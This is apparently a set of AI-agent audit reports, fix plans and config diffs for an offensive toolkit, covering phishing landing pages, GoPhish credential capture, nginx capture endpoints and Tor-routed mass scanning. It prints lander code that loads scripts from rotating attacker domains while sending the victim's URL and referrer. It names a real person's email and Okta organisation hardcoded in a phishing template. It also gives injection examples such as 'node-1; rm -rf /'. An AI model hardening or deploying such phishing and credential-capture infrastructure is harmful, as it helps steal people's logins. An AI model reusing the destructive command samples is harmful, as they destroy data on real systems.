if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) {
var params = new URLSearchParams(new URL(decodeURIComponent(src)).search);
var rid = params.get('rid') || params.get('RId');
if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
}
```
**Issues:**
1. `decodeURIComponent(src)` on the full referrer URL (not just the query string) can fail or produce unexpected results if the referrer contains fragments or special encoding.
2. The `new URL()` constructor may throw if `src` is malformed. No try-catch wraps this.
3. The `rid` value is passed through `encodeURIComponent()` once, but if the URL was double-encoded in the referrer, and `decodeURIComponent()` is applied without validation, downstream systems expecting single-encoded values could be confused.
**Attack Vector:** A malicious referrer crafted to trigger URL parsing edge cases, potentially bypassing intended redirect logic or leaking information via error handling.
**Remediation:**
- Wrap `new URL()` in try-catch and return early if parsing fails.
- Validate that `src` is a valid absolute or relative URL before parsing; reject data: URIs and blob: URIs.
- Use `URL` constructor more carefully: parse query params from `new URL(src).searchParams` instead of re-decoding the full referrer.
Example fix:
```javascript
try {
var urlObj = new URL(src, window.location.origin);
var rid = urlObj.searchParams.get('rid') || urlObj.searchParams.get('RId');
if (rid && rid.length <= 128) { // limit length
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
}
} catch (e) {
// URL parse failed, skip rid param
}
```
---
**[phishing-landing-page.j2:221] XSS via Unescaped redirect_url in JavaScript Context**
Line 221:
```jinja2
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
```
The `redirect_url` is rendered into a JavaScript string literal using only the `tojson` filter (implicitly applied as default when Jinja2 autoescape is OFF). However, the context is **inside a single-quoted JavaScript string**, and `tojson` produces JSON-safe output, not JavaScript-safe output.
If `redirect_url` contains a sequence like `'; window.location = 'data:text/html,...';//`, the `tojson` filter will escape it to `'\\'; window.location = \\'data:...`, which still closes the string and executes malicious code.
Actual risk is **LOW** because `redirect_url` is validated by `_validate_https_url()` in `lander_gen.py` and `deploy_phishing.py`, which enforces HTTPS and netloc validation. However, the injection point is **not properly defended in the template**.
**Attack Vector:** If validation is bypassed or removed in a future refactor, or if someone uses this template with untrusted input elsewhere.
**Remediation:**
- Apply `| tojson` explicitly in the template:
```jinja2
window.location.href = {{ redirect_url | tojson }};
```
- Validate all URLs at the boundary (already done in Python code), so the template can assume safety.
- Document the assumption that `redirect_url` is pre-validated HTTPS.
---
### MEDIUM (CVSS 4.06.9)
**[phishing-landing-page.j2:153154] Double-Escaped GoPhish Template Variables**
Lines 153154:
```jinja2
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
```
These lines attempt to preserve GoPhish template variables (`{{.RId}}` and `{{.Campaign}}`) by escaping them as Jinja2 string literals. The double braces are escaped in Jinja2, rendering literally as `{{.RId}}` in the HTML.
However, this pattern is fragile:
1. If Jinja2 autoescape is enabled in the future, the output HTML will become `{{.RId}}` (literal text in value attribute), and GoPhish will not parse it.
2. The test of this functionality relies on manual verification of the rendered HTML, not automated checks.
**Attack Vector:** Configuration drift (autoescape enabled silently) causes GoPhish RId tracking to break; phishing campaigns lose victim correlation.
**Remediation:**
- Use a Jinja2 raw block:
```jinja2
{% raw %}<input type="hidden" name="rid" value="{{.RId}}">{% endraw %}
```
- Document the intent: this template is meant to be rendered by Jinja2 first, then served to the browser (where GoPhish doesn't touch it—RId is injected by a POST handler, not template variable).
- Add a comment explaining the two-stage rendering.
---
**[nginx-phishing-webserver.j2:38] Overly Permissive PHP Location**
Line 4145:
```nginx
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
```
This regex matches **all `.php` files in all subdirectories**. If `/var/www/phishing/` contains subdirectories with user-uploaded or attacker-controlled PHP files, all of them are executable.
Combined with line 4852 (POST-only `/capture.php`), the general PHP location rule could be exploited if:
1. A path traversal vulnerability elsewhere exposes `index.php` or other files.
2. A file upload endpoint (not shown) writes `.php` files to writable directories.
**Attack Vector:** RCE via upload of malicious `.php` file to a writable directory within the webserver root.
**Remediation:**
- Restrict PHP execution to only necessary endpoints:
```nginx
location = /capture.php {
limit_except POST { deny all; }
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
location ~ \.php$ {
deny all;
}
```
- Or, disable PHP entirely and implement credential capture in a compiled binary or script-less static pages.
- Ensure all directories are write-protected (no world-writable or group-writable web roots).
---
### LOW (CVSS <4.0)
**[cloud-lander.html.j2:1218] DOM-Based XSS via Concatenation of Unsafe Values**
Lines 1218 construct a dynamic script source with a random subdomain in TDS mode:
```javascript
var randomDomain = domains[Math.floor(Math.random() * domains.length)];
var script = document.createElement('script');
script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
```
The `randomDomain` is derived from `tds_domains`, which comes from config input (line 182 in `deploy_phishing.py`):
```python
config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
```
If a TDS domain contains special characters or is crafted maliciously (e.g., `example.com/'onload='alert(1)`), the dynamic script URL could inject attributes. However, `script.src` is a property, not HTML parsing, so XSS is unlikely **unless the script load itself is the goal** (e.g., loading a malicious `/jq.min.js` from the attacker-controlled domain—which is the point of TDS).
**Attack Vector:** Low risk in practice, but if TDS domain input is not validated, an attacker could redirect jq.min.js loads to themselves.
**Remediation:**
- Validate TDS domains as valid domain names (DNS rules, no special characters):
```python
import re
domain_re = re.compile(r'^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$', re.I)
for domain in raw.split(','):
if not domain_re.match(domain.strip()):
raise ValueError(f"Invalid domain: {domain!r}")
```
- Document that TDS domains are **untrusted by design** and are expected to redirect to attacker infrastructure.
---
## Secrets & OPSEC
**Hardcoded Secrets:** None found.
**Fingerprinting:** None found. Tool names (`c2itall`, `phishing`, `GoPhish`) do not appear in deployed templates or configs. Fingerprint-resistant: nginx config does not expose server version headers or tool banners.
**Credentials in config:** SMTP credentials are prompted interactively and not stored in source. ✓
**Log Exposure:** `nginx-phishing-webserver.j2` line 3738 disables logging (`access_log off; error_log /dev/null crit;`). This prevents operator-command logging, which is acceptable for this use case. ✓
---
## Recommendations
**Immediate (P1):**
1. Shell-escape bucket and campaign_id before printing upload commands.
2. Add try-catch to RId URL parsing in js-payload.js.j2.
3. Document that `redirect_url` is pre-validated and the template assumption is safe.
**Follow-up (P2):**
1. Replace double-escaped GoPhish template syntax with raw blocks.
2. Restrict PHP location in nginx to only `/capture.php`.
3. Add domain validation for TDS input.
**Testing:**
- Unit test `_validate_campaign_id()` and `_validate_https_url()` with edge cases (empty strings, special chars, path traversal attempts).
- Manual verification: render phishing-landing-page.j2 with jinja2 and confirm `{{.RId}}` and `{{.Campaign}}` appear literally in HTML.
- Smoke test: confirm `tojson` filter correctly escapes special characters in js-payload.js.j2.
-46
View File
@@ -1,46 +0,0 @@
---
agent: fix-planner
status: COMPLETE
timestamp: 2026-06-25T10:35:00Z
total_findings_raw: 13
total_findings_deduped: 11
p1_count: 2
p2_count: 4
p3_count: 4
p4_count: 1
devtrack_items_created: []
errors: []
---
# Fix Plan — DevTrack #1259
## P1 — Block Deploy
- [ ] **[CRITICAL]** `modules/phishing/lander_gen.py:68-76` — Shell injection via unescaped config parameters in printed upload commands. Bucket and campaign_id parameters injected directly into shell command strings without escaping. If operator enters malicious input like `bucket && malicious_command`, printed output becomes executable when copy-pasted to shell. | Sources: security-auditor | Effort: S | Fix: Use `shlex.quote()` on all config parameters before insertion into command strings.
- [ ] **[CRITICAL]** `modules/phishing/templates/okta-login.html.j2:102, 206` — Real PII and organization identifiers hardcoded in template: email address `Brian.Caldwell@Zimperium.com`, Okta org `zimperium.okta.com`, app ID `exk1ufbfxuFLJp6y3697`. Exposed in version control and deployed artifacts. | Sources: env-validator | Effort: S | Fix: Parameterize template with Jinja2 variables (`target_email`, `okta_org_url`, `okta_app_id`) and populate at runtime from config dict, never in source.
## P2 — Fix This Week
- [ ] **[HIGH]** `modules/phishing/templates/js-payload.js.j2:5-8` — RId parameter injection via unsafe URL parsing. `decodeURIComponent(src)` applied to full referrer URL without validation; `new URL()` constructor can throw without try-catch; double-encoding edge case not handled. Malformed referrer could bypass redirect logic or leak information. | Sources: security-auditor | Effort: S | Fix: Wrap `new URL()` in try-catch; validate referrer format before parsing; use `searchParams` property instead of re-decoding; limit RId length to 128 chars.
- [ ] **[HIGH]** `modules/phishing/webserver/templates/nginx-phishing-webserver.j2:41-45` — Overly permissive PHP location block allows execution of **all** `.php` files in all subdirectories. If path traversal or file upload vulnerability elsewhere in webserver root, RCE via malicious `.php` execution. Current rule `location ~ \.php$` is too broad. | Sources: security-auditor | Effort: M | Fix: Restrict PHP execution to only `/capture.php` with `location = /capture.php` and deny all other `.php` files with fallback `location ~ \.php$ { deny all; }`.
- [ ] **[HIGH]** `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2:221` — XSS via unescaped `redirect_url` in JavaScript context. Template renders `{{ redirect_url }}` inside single-quoted JS string without `tojson` filter; if validation bypass occurs, injection point is vulnerable. Mitigated by current validation in Python code, but not properly defended in template itself. | Sources: security-auditor | Effort: XS | Fix: Apply `| tojson` filter explicitly: `window.location.href = {{ redirect_url | tojson }};` and document assumption that URL is pre-validated HTTPS.
- [ ] **[HIGH]** `modules/phishing/lander_gen.py:25-90` — Production code uses 11 instances of `print()` calls (L62-89) for output. Inconsistent with c2itall pattern which uses logging or Rich for structured output. Makes operational logging difficult and prevents standardized log aggregation. | Sources: code-auditor | Effort: M | Fix: Replace all `print()` calls with Rich console output or logging module calls to match c2itall standards.
## P3 — Fix This Month
- [ ] **[MEDIUM]** `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2:153-154` — Double-escaped GoPhish template variables using `{{ '{{.RId}}' }}` pattern. Fragile and breaks if Jinja2 autoescape is enabled in future; relies on manual verification instead of automated testing. | Sources: security-auditor | Effort: S | Fix: Replace with Jinja2 raw block: `{% raw %}<input type="hidden" name="rid" value="{{.RId}}">{% endraw %}` and add comment explaining two-stage rendering intent.
- [ ] **[MEDIUM]** `modules/phishing/lander_gen.py:66-76` — Duplicate provider-specific logic pattern across GCS, S3, and Azure blocks. Each constructs `public_url` and `upload_cmd` independently with 5+ lines of similar code. Increases maintenance burden if URL/command generation logic needs changes. | Sources: code-auditor | Effort: M | Fix: Extract provider URL and command generation to a dict-driven helper function or pattern.
- [ ] **[MEDIUM]** `modules/phishing/templates/cloud-lander.html.j2:12-18` — DOM-based XSS via unsafe TDS domain input concatenation. If TDS domain input is not validated, malicious domain could redirect `jq.min.js` loads to attacker infrastructure. | Sources: security-auditor | Effort: S | Fix: Validate TDS domains as valid DNS names using regex pattern; reject special characters. Document that TDS domains are untrusted by design.
- [ ] **[MEDIUM]** `modules/phishing/deploy_phishing.py:164-184` — Nesting depth of 5 levels in lander prompt validation block. Input validation chain is difficult to follow and increases cognitive load. No error handling issues, but readability suffers. | Sources: code-auditor | Effort: S | Fix: Extract validation chain to dedicated `_validate_lander_config()` function with early returns per parameter.
## P4 — Backlog
- [ ] **[LOW]** `modules/phishing/lander_gen.py:87` — Comment references ponytail shortcut but does not state upgrade path or conditions. Per ponytail rules, comments should name when to upgrade (e.g., "upgrade to per-RId rotation if log-harvesting becomes a threat"). | Sources: code-auditor | Effort: XS | Fix: Update comment to include upgrade condition and version target.
-149
View File
@@ -1,149 +0,0 @@
---
agent: fix-planner
status: COMPLETE
timestamp: 2026-05-01T23:45:00Z
total_findings_raw: 15
total_findings_deduped: 13
p1_count: 1
p2_count: 2
p3_count: 3
p4_count: 2
devtrack_items_created: []
errors: []
---
# Fix Plan — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
## Summary
Consolidated findings from code-auditor (8 findings) and security-auditor (2 findings) for DevTrack #980.
**Status**: 7 fixes applied and verified. 2 HIGH/MEDIUM severity issues remain (run_scan.yml, estimate_scan_hours partial chunk logic). 4 low-priority items acceptable for backlog.
---
## Fixes Applied ✓
### Applied Fixes (Verified)
1. **[node_scanner.py:204-216]** ThreadPoolExecutor parallelization in `scan_masscan_nmap()` — 10 workers via `NMAP_WORKERS` env var (default 10)
2. **[node_scanner.py:260-266]** ThreadPoolExecutor parallelization in `scan_geo_scout()` — same 10-worker pattern
3. **[node_scanner.py:126]** Bytes format bug fixed: `ip.encode()` used directly instead of `%b` format string
4. **[node_scanner.py:145-192]** Dead variable `targets_arg` removed from `scan_nmap_only()`
5. **[provider_rates.py:55-63]** `estimate_scan_hours()` now accepts `scan_mode` parameter for accurate nmap time estimation
6. **[provider_rates.py:50-52]** Constants added: `NMAP_TIME_PER_HOST_SEC=10`, `MASSCAN_HIT_RATE=0.01`, `_NMAP_WORKERS=10`
7. **[provider_rates.py:104]** `build_estimate_table()` passes `scan_mode` to `estimate_scan_hours()`
---
## Remaining Issues
### P1 — Block Deploy
- [ ] **[HIGH] [run_scan.yml:14-18]** Ansible template injection via unquoted variables | Sources: security-auditor | Effort: S | Status: NOT FIXED
**Description**: Arguments in `command:` module use unquoted Ansible template vars (`{{ scan_mode }}`, `{{ ports_str }}`, `{{ node_name }}`). If `node_name` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute shell commands.
**Attack vector**: Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
**Remediation**: Use Ansible `command:` as list form (args: [python3, script.py, --mode, "{{ scan_mode }}", ...]) or validate inputs upstream in deploy_webrunner.py.
**Risk**: HIGH — affects production cloud deployment pipeline. Requires manual Ansible remediation (file not in Python audit scope).
---
### P2 — Fix This Week
- [ ] **[HIGH] [provider_rates.py:91-118]** Partial chunk cost overestimation in `build_estimate_table()` | Sources: code-auditor | Effort: M | Status: NOT FIXED
**Description**: Line 104 assumes each chunk costs the same time as `preset['chunk_size']` IPs. If `total_ips % preset['chunk_size'] != 0`, the last chunk is smaller, but cost calculation doesn't account for it. Example: 2.5M IPs across 2-chunk preset (2M chunks) = chunk 1 (2M hrs) + chunk 2 (0.5M hrs), but current code bills chunk 2 as 2M hrs.
**Current code**: `hours = estimate_scan_hours(preset['chunk_size'], n_ports, mode_rate, scan_mode)` — always uses full chunk_size.
**Fix**: Calculate per-chunk IP count separately:
```python
for i in range(n_chunks):
chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode)
provider = providers[i % len(providers)]
instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
total_cost += node_cost(provider, instance, hours)
```
**Impact**: Cost estimates 1.5-2x too high for non-aligned IP counts; may oversell capacity planning.
- [ ] **[MEDIUM] [node_scanner.py:225-239]** Import inside function — `import yaml` at line 232 | Sources: code-auditor | Effort: XS | Status: NOT FIXED
**Description**: `import yaml` appears inside `scan_geo_scout()` function. Move to top-level imports for clarity and consistency.
**Fix**: Add `import yaml` to line 16 (after `ET` import), remove line 232.
---
### P3 — Fix This Month
- [ ] **[MEDIUM] [node_scanner.py:21-23]** `print()` in production code — `log()` function uses `print()` | Sources: code-auditor | Effort: S | Status: NOT FIXED
**Description**: Line 23 calls `print()` directly. Should use Python `logging` module or Rich (per c2itall style guide).
**Fix**: Replace `log()` function with logging.info or Rich console output for consistency.
- [ ] **[LOW] [node_scanner.py:139-192]** Unused parameter `node_name` — passed to all scan_* functions but never used | Sources: code-auditor | Effort: XS | Status: NOT FIXED
**Description**: Parameter `node_name` appears in `scan_masscan_only()`, `scan_nmap_only()`, `scan_masscan_nmap()`, `scan_geo_scout()` signatures but is not referenced in function bodies. These functions don't write node metadata to results.
**Assessment**: Intentionally kept for interface consistency (caller always passes it, avoids conditional logic).
**Fix**: Document as "reserved for future node metadata logging" or remove for clarity. Non-blocking.
- [ ] **[LOW] [provider_rates.py:76-88]** Comment ambiguity — Tor multiplier description misleading | Sources: code-auditor | Effort: XS | Status: NOT FIXED
**Description**: Line 86 comment says "Tor adds ~5x latency overhead" but line 88 sets `TOR_RATE_MULTIPLIER = 0.2` (which is 1/5, not 5x). Comment is correct in spirit but confusingly worded.
**Fix**: Change comment to "Tor reduces throughput to 1/5 (0.2x)" or "multiplier 0.2 ≈ 5x latency".
---
### P4 — Backlog
- [ ] **[LOW] [provider_rates.py:57]** Magic number 0.018 — Linode default rate hardcoded | Status: NOT FIXED
**Description**: Line 7 (`'g6-standard-2': 0.018`) and line 67 (fallback rate) hardcode 0.018. Should be named constant.
**Fix**: Add `DEFAULT_INSTANCE_RATE = 0.018` and reference it.
- [ ] **[LOW] [node_scanner.py]** Missing docstrings — module + function docstrings absent | Status: NOT FIXED
**Description**: Module docstring present (line 2-4) but individual functions lack docstrings. Low impact — code is self-documenting.
---
## Deduplication Notes
- **Socket leak risk (probe_service)**: Marked as false alarm in code-auditor; context manager guarantees cleanup. No action needed.
- **Thread safety (run_nmap concurrent writes)**: Verified safe — per-IP XML files unique (`nmap_{ip.replace('.', '_')}.xml`). No collision risk.
- **XXE/entity expansion in ET.parse()**: PASS — ET default config disables external entity expansion. nmap output is trusted. No action needed.
- **Resource exhaustion (socket connections)**: MEDIUM severity in security-auditor. Noted as acceptable risk for current sequential structure. ThreadPoolExecutor 10-worker design with 3-second socket timeout is within system limits. Semaphore capping recommended for future scaling but not blocking.
---
## Action Items
### Critical Path (Block #980 deployment):
1. **run_scan.yml**: Convert Ansible `command:` module to list form OR validate node_name upstream
2. **provider_rates.py**: Fix partial-chunk cost calculation in `build_estimate_table()`
### Nice-to-have (P3-P4):
- Move `import yaml` to top level
- Replace `print()` with logging/Rich
- Add Tor multiplier comment clarity
- Extract 0.018 magic number to constant
---
## Test Coverage
- Unit tests for `estimate_scan_hours()` with partial chunks should verify cost accuracy
- Ansible playbook syntax validation required for run_scan.yml
- Manual integration test with non-aligned IP count (e.g., 2.5M across 2M presets)
-33
View File
@@ -1,33 +0,0 @@
---
devtrack: 989
timestamp: 2026-05-03T00:00:00Z
findings_addressed: 2
findings_skipped: 3
---
# Fix Summary — DevTrack #989
## Applied
### HIGH — Tuning input validation (AUDIT_SEC_989#1)
**File:** `modules/webrunner/deploy_webrunner.py:181-195`
**Fix:** `_prompt()` now clamps non-positive values to the default and warns the operator. Applies to all tuning keys (masscan_rate, nmap_timing, nmap_timeout, nmap_workers, nuclei_rate, nuclei_concurrency, nuclei_timeout) regardless of whether the value came from interactive input or a vars file.
**Verification:** Engine math also has floors (`max(nmap_workers, 1)`, `max(min(...), 1.0)` in nuclei throughput, `if rate <= 0: return PROVISION_OVERHEAD_HOURS`), so even pre-fix garbage in produced sane numbers — but operator's displayed tuning would have been wrong. Now the displayed and computed values match.
### P3 — Dead code removal (AUDIT_CODE_989#3)
**File:** `modules/webrunner/deploy_webrunner.py:195-196`
**Fix:** Removed the empty `if scan_mode in (...): pass` placeholder that was a refactor leftover. masscan_rate is already prompted unconditionally above.
## Skipped (with justification)
### MEDIUM — Tor warning phrasing (AUDIT_SEC_989#2)
Auditor suggested rewording the masscan-Tor warning. Existing text already states "raw sockets bypass proxychains entirely" and "use 'nmap-only' mode for full Tor coverage" — auditor's suggestion is semantically equivalent. No material improvement.
### MEDIUM — Path traversal in template/yaml file loading (AUDIT_SEC_989#3)
False positive for this threat model. Webrunner is a single-operator attack tool, not multi-tenant. The "attack vector" of "operator supplies malicious vars file pointing at /etc/passwd" doesn't apply — the operator IS the trusted party and runs the tool on their own machine. They can already read any file they want. Adding path restriction would just frustrate legitimate workflows (e.g., operator's nuclei templates are typically in `~/templates/` outside the WEBRUNNER_INPUTS dir). YAML uses `safe_load` so no code execution. The file content goes only to the operator's stdout, not to a remote server.
### LOW — Estimate display discloses scope (AUDIT_SEC_989#5)
Interactive console output to the operator. Not logged externally. Operator chose to run the tool. Suppression flag is overkill for a tool with one user.
## Gate Review Status
Ready for gate-reviewer. No P1 or unaddressed HIGH findings remain.
+4 -4
View File
@@ -55,9 +55,9 @@
- name: Set deployment results
set_fact:
phishing_deployment_results:
gophish_ip: "{{ '10.0.0.10' if 'gophish' in deployment_components else '' }}"
mta_ip: "{{ '10.0.0.11' if 'mta_front' in deployment_components else '' }}"
redirector_ip: "{{ '10.0.0.12' if 'redirector' in deployment_components else '' }}"
webserver_ip: "{{ '10.0.0.13' if 'webserver' in deployment_components else '' }}"
gophish_ip: "{{ gophish_ip | default('') }}"
mta_ip: "{{ mta_ip | default('') }}"
redirector_ip: "{{ redirector_ip | default('') }}"
webserver_ip: "{{ webserver_ip | default('') }}"
deployment_id: "{{ deployment_id }}"
domain: "{{ phishing_domain | default(domain) }}"
+1 -1
View File
@@ -41,5 +41,5 @@ domain: "example.com"
mail_hostname: "mail.example.com"
letsencrypt_email: "admin@example.com"
smtp_auth_user: "phishuser"
smtp_auth_pass: "SuperSecretPass123!"
smtp_auth_pass: "CHANGE_ME"
gophish_admin_port: "2222"
+1 -1
View File
@@ -11,7 +11,7 @@ def load_word_list(filename):
"""Load words from a text file, one word per line"""
try:
# Check if we have FourEyes word lists
foureyes_path = "/home/n0mad1k/Tools/FourEyes"
foureyes_path = os.environ.get('FOUREYES_PATH', '')
if os.path.exists(foureyes_path):
file_path = os.path.join(foureyes_path, filename)
if os.path.exists(file_path):